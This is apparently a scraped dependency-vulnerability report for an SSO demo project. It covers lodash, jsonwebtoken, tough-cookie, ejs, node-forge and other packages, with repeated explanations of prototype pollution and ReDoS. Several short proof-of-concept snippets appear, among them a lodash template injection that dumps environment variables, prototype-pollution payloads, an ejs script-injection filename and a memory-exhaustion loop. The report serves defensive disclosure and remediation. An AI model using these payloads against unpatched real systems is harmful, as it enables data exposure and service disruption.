There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade node-forge
to version 0.10.0 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xmlbuilder@2.5.2 › lodash@3.2.0
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Command Injection via template
.
PoC
var _ = require('lodash');
_.template('', { variable: '){console.log(process.env)}; with(obj' })()
Remediation
Upgrade lodash
to version 4.17.21 or higher.
References
medium severity
- Vulnerable module: jsonwebtoken
- Introduced through: jsonwebtoken@8.5.1 and restify-jwt@0.4.0
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › jsonwebtoken@8.5.1Remediation: Upgrade to jsonwebtoken@9.0.0.
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › restify-jwt@0.4.0 › jsonwebtoken@5.7.0
Overview
jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)
Affected versions of this package are vulnerable to Use of a Broken or Risky Cryptographic Algorithm such that the library can be misconfigured to use legacy, insecure key types for signature verification. For example, DSA keys could be used with the RS256 algorithm.
Exploitability
Users are affected when using an algorithm and a key type other than the combinations mentioned below:
EC: ES256, ES384, ES512
RSA: RS256, RS384, RS512, PS256, PS384, PS512
RSA-PSS: PS256, PS384, PS512
And for Elliptic Curve algorithms:
ES256: prime256v1
ES384: secp384r1
ES512: secp521r1
Workaround
Users who are unable to upgrade to the fixed version can use the allowInvalidAsymmetricKeyTypes
option to true
in the sign()
and verify()
functions to continue usage of invalid key type/algorithm combination in 9.0.0 for legacy compatibility.
Remediation
Upgrade jsonwebtoken
to version 9.0.0 or higher.
References
medium severity
- Vulnerable module: csv-parse
- Introduced through: restify@4.3.4
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › restify@4.3.4 › csv@0.4.6 › csv-parse@1.3.3Remediation: Upgrade to restify@8.1.0.
Overview
csv-parse is a parser converting CSV text input into arrays or objects.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The __isInt()
function contains a malformed regular expression that processes large specially-crafted input very slowly, leading to a Denial of Service. This is triggered when using the cast
option.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade csv-parse
to version 4.4.6 or higher.
References
medium severity
- Vulnerable module: http-signature
- Introduced through: restify@4.3.4
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › restify@4.3.4 › http-signature@0.11.0Remediation: Upgrade to restify@5.0.1.
Overview
http-signature
is a reference implementation of Joyent's HTTP Signature scheme.
Affected versions of the package are vulnerable to Timing Attacks due to time-variable comparison of signatures.
The library implemented a character to character comparison, similar to the built-in string comparison mechanism, ===
, and not a time constant string comparison. As a result, the comparison will fail faster when the first characters in the signature are incorrect.
An attacker can use this difference to perform a timing attack, essentially allowing them to guess the signature one character at a time.
You can read more about timing attacks in Node.js on the Snyk blog.
Remediation
Upgrade http-signature
to version 1.0.0 or higher.
References
medium severity
- Vulnerable module: jsonwebtoken
- Introduced through: jsonwebtoken@8.5.1 and restify-jwt@0.4.0
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › jsonwebtoken@8.5.1Remediation: Upgrade to jsonwebtoken@9.0.0.
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › restify-jwt@0.4.0 › jsonwebtoken@5.7.0
Overview
jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)
Affected versions of this package are vulnerable to Improper Restriction of Security Token Assignment via the secretOrPublicKey
argument due to misconfigurations of the key retrieval function jwt.verify()
. Exploiting this vulnerability might result in incorrect verification of forged tokens when tokens signed with an asymmetric public key could be verified with a symmetric HS256 algorithm.
Note:
This vulnerability affects your application if it supports the usage of both symmetric and asymmetric keys in jwt.verify()
implementation with the same key retrieval function.
Remediation
Upgrade jsonwebtoken
to version 9.0.0 or higher.
References
medium severity
- Vulnerable module: request
- Introduced through: chromedriver@2.46.0
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › chromedriver@2.46.0 › request@2.88.2
Overview
request is a simplified http request client.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to insufficient checks in the lib/redirect.js
file by allowing insecure redirects in the default configuration, via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).
NOTE: request
package has been deprecated, so a fix is not expected. See https://github.com/request/request/issues/3142.
Remediation
A fix was pushed into the master
branch but not yet published.
References
medium severity
- Vulnerable module: tough-cookie
- Introduced through: chromedriver@2.46.0
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › chromedriver@2.46.0 › request@2.88.2 › tough-cookie@2.5.0
Overview
tough-cookie is a RFC6265 Cookies and CookieJar module for Node.js.
Affected versions of this package are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false
mode. Due to an issue with the manner in which the objects are initialized, an attacker can expose or modify a limited amount of property information on those objects. There is no impact to availability.
PoC
// PoC.js
async function main(){
var tough = require("tough-cookie");
var cookiejar = new tough.CookieJar(undefined,{rejectPublicSuffixes:false});
// Exploit cookie
await cookiejar.setCookie(
"Slonser=polluted; Domain=__proto__; Path=/notauth",
"https://__proto__/admin"
);
// normal cookie
var cookie = await cookiejar.setCookie(
"Auth=Lol; Domain=google.com; Path=/notauth",
"https://google.com/"
);
//Exploit cookie
var a = {};
console.log(a["/notauth"]["Slonser"])
}
main();
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade tough-cookie
to version 4.1.3 or higher.
References
medium severity
- Vulnerable module: xmldom
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml-crypto@0.8.4 › xmldom@0.1.19
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xmldom@0.1.31
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml-encryption@0.7.4 › xmldom@0.1.31
Overview
xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.
Affected versions of this package are vulnerable to Improper Input Validation. It does not correctly escape special characters when serializing elements are removed from their ancestor. This may lead to unexpected syntactic changes during XML processing in some downstream applications.
Note: Customers who use "xmldom" package, should use "@xmldom/xmldom" instead, as "xmldom" is no longer maintained.
Remediation
There is no fixed version for xmldom
.
References
medium severity
- Vulnerable module: jsonwebtoken
- Introduced through: jsonwebtoken@8.5.1 and restify-jwt@0.4.0
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › jsonwebtoken@8.5.1Remediation: Upgrade to jsonwebtoken@9.0.0.
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › restify-jwt@0.4.0 › jsonwebtoken@5.7.0
Overview
jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)
Affected versions of this package are vulnerable to Improper Authentication such that the lack of algorithm definition in the jwt.verify()
function can lead to signature validation bypass due to defaulting to the none
algorithm for signature verification.
Exploitability
Users are affected only if all of the following conditions are true for the jwt.verify()
function:
A token with no signature is received.
No algorithms are specified.
A falsy (e.g.,
null
,false
,undefined
) secret or key is passed.
Remediation
Upgrade jsonwebtoken
to version 9.0.0 or higher.
References
medium severity
- Vulnerable module: lodash
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xmlbuilder@2.5.2 › lodash@3.2.0
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xmlbuilder@2.5.2 › lodash@3.2.0
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution. The utilities function allow modification of the Object
prototype. If an attacker can control part of the structure passed to this function, they could add or modify an existing property.
PoC by Olivier Arteau (HoLyVieR)
var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
_.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash
to version 4.17.5 or higher.
References
medium severity
- Vulnerable module: node-forge
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml-encryption@0.7.4 › node-forge@0.2.24
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Prototype Pollution via the forge.debug
API if called with untrusted input.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade node-forge
to version 1.0.0 or higher.
References
medium severity
- Vulnerable module: inflight
- Introduced through: chromedriver@2.46.0 and restify@4.3.4
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › chromedriver@2.46.0 › del@3.0.0 › globby@6.1.0 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › chromedriver@2.46.0 › del@3.0.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › restify@4.3.4 › bunyan@1.8.15 › mv@2.1.1 › rimraf@2.4.5 › glob@6.0.4 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres
function due to improperly deleting keys from the reqs
object after execution of callbacks. This behavior causes the keys to remain in the reqs
object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node
process or in the application crash.
Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight
.
References
medium severity
- Vulnerable module: ejs
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml-encryption@0.7.4 › ejs@0.8.8
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml-encryption@0.7.4 › ejs@0.8.8
Overview
ejs
is a popular JavaScript templating engine.
Affected versions of the package are vulnerable to Cross-site Scripting by letting the attacker under certain conditions control and override the filename
option causing it to render the value as is, without escaping it.
You can read more about this vulnerability on the Snyk blog.
There's also a Remote Code Execution & Denial of Service vulnerabilities caused by the same behaviour.
Details
ejs
provides a few different options for you to render a template, two being very similar: ejs.render()
and ejs.renderFile()
. The only difference being that render
expects a string to be used for the template and renderFile
expects a path to a template file.
Both functions can be invoked in two ways. The first is calling them with template
, data
, and options
:
ejs.render(str, data, options);
ejs.renderFile(filename, data, options, callback)
The second way would be by calling only the template
and data
, while ejs
lets the options
be passed as part of the data
:
ejs.render(str, dataAndOptions);
ejs.renderFile(filename, dataAndOptions, callback)
If used with a variable list supplied by the user (e.g. by reading it from the URI with qs
or equivalent), an attacker can control ejs
options. This includes the filename
option, which will be rendered as is when an error occurs during rendering.
ejs.renderFile('my-template', {filename:'<script>alert(1)</script>'}, callback);
The fix introduced in version 2.5.3
blacklisted root
options from options passed via the data
object.
Disclosure Timeline
- November 28th, 2016 - Reported the issue to package owner.
- November 28th, 2016 - Issue acknowledged by package owner.
- December 06th, 2016 - Issue fixed and version
2.5.5
released.
Remediation
The vulnerability can be resolved by either using the GitHub integration to generate a pull-request from your dashboard or by running snyk wizard
from the command-line interface.
Otherwise, Upgrade ejs
to version 2.5.5
or higher.
References
medium severity
- Vulnerable module: ejs
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml-encryption@0.7.4 › ejs@0.8.8
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml-encryption@0.7.4 › ejs@0.8.8
Overview
ejs
is a popular JavaScript templating engine.
Affected versions of the package are vulnerable to Denial of Service by letting the attacker under certain conditions control and override the localNames
option causing it to crash.
You can read more about this vulnerability on the Snyk blog.
There's also a Remote Code Execution & Cross-site Scripting vulnerabilities caused by the same behaviour.
Details
ejs
provides a few different options for you to render a template, two being very similar: ejs.render()
and ejs.renderFile()
. The only difference being that render
expects a string to be used for the template and renderFile
expects a path to a template file.
Both functions can be invoked in two ways. The first is calling them with template
, data
, and options
:
ejs.render(str, data, options);
ejs.renderFile(filename, data, options, callback)
The second way would be by calling only the template
and data
, while ejs
lets the options
be passed as part of the data
:
ejs.render(str, dataAndOptions);
ejs.renderFile(filename, dataAndOptions, callback)
If used with a variable list supplied by the user (e.g. by reading it from the URI with qs
or equivalent), an attacker can control ejs
options. This includes the localNames
option, which will cause the renderer to crash.
ejs.renderFile('my-template', {localNames:'try'}, callback);
The fix introduced in version 2.5.3
blacklisted root
options from options passed via the data
object.
Disclosure Timeline
- November 28th, 2016 - Reported the issue to package owner.
- November 28th, 2016 - Issue acknowledged by package owner.
- December 06th, 2016 - Issue fixed and version
2.5.5
released.
Remediation
The vulnerability can be resolved by either using the GitHub integration to generate a pull-request from your dashboard or by running snyk wizard
from the command-line interface.
Otherwise, Upgrade ejs
to version 2.5.5
or higher.
References
medium severity
- Vulnerable module: node-forge
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml-encryption@0.7.4 › node-forge@0.2.24
Overview
node-forge
is a JavaScript implementation of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of the package are vulnerable to a Timing Attack due to unsafe HMAC comparison.
The HMAC algorithm produces a keyed message by pairing a hash function with a cryptographic key. Both the key and a message serve as input to this algorithm, while it outputs a fixed-length digest output which can be sent with the message. Anyone who knows the key can repeat the algorithm and compare their calculated HMAC with one they have received, to verify a message originated from someone with knowledge of the key and has not been tampered with.
The problem begins when trying to compare two HMACs. This is the part of code that handles the comparison:
if(byteArrayA.length != byteArrayB.length) { return false; }
for(int i = 0; i < byteArrayA.length; i++) {
if(byteArrayA[i] != byteArrayB[i]) { return false; }
}
return true;
The issue is that the more bytes match in the two arrays, the more comparisons are formed and the longer it'll take to return a result. This may allow attackers to brute force their way into the servers.
Remediation
Upgrade node-forge
to version 0.6.33 or higher.
References
medium severity
- Vulnerable module: chromedriver
- Introduced through: chromedriver@2.46.0
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › chromedriver@2.46.0Remediation: Upgrade to chromedriver@119.0.1.
Overview
chromedriver is a ChromeDriver for Selenium
Affected versions of this package are vulnerable to Command Injection when setting the chromedriver.path
to an arbitrary system binary. This could lead to unauthorized access and potentially malicious actions on the host system.
Note:
An attacker must have access to the system running the vulnerable chromedriver library to exploit it. The success of exploitation also depends on the permissions and privileges of the process running chromedriver.
Remediation
Upgrade chromedriver
to version 119.0.1 or higher.
References
medium severity
- Vulnerable module: node-forge
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
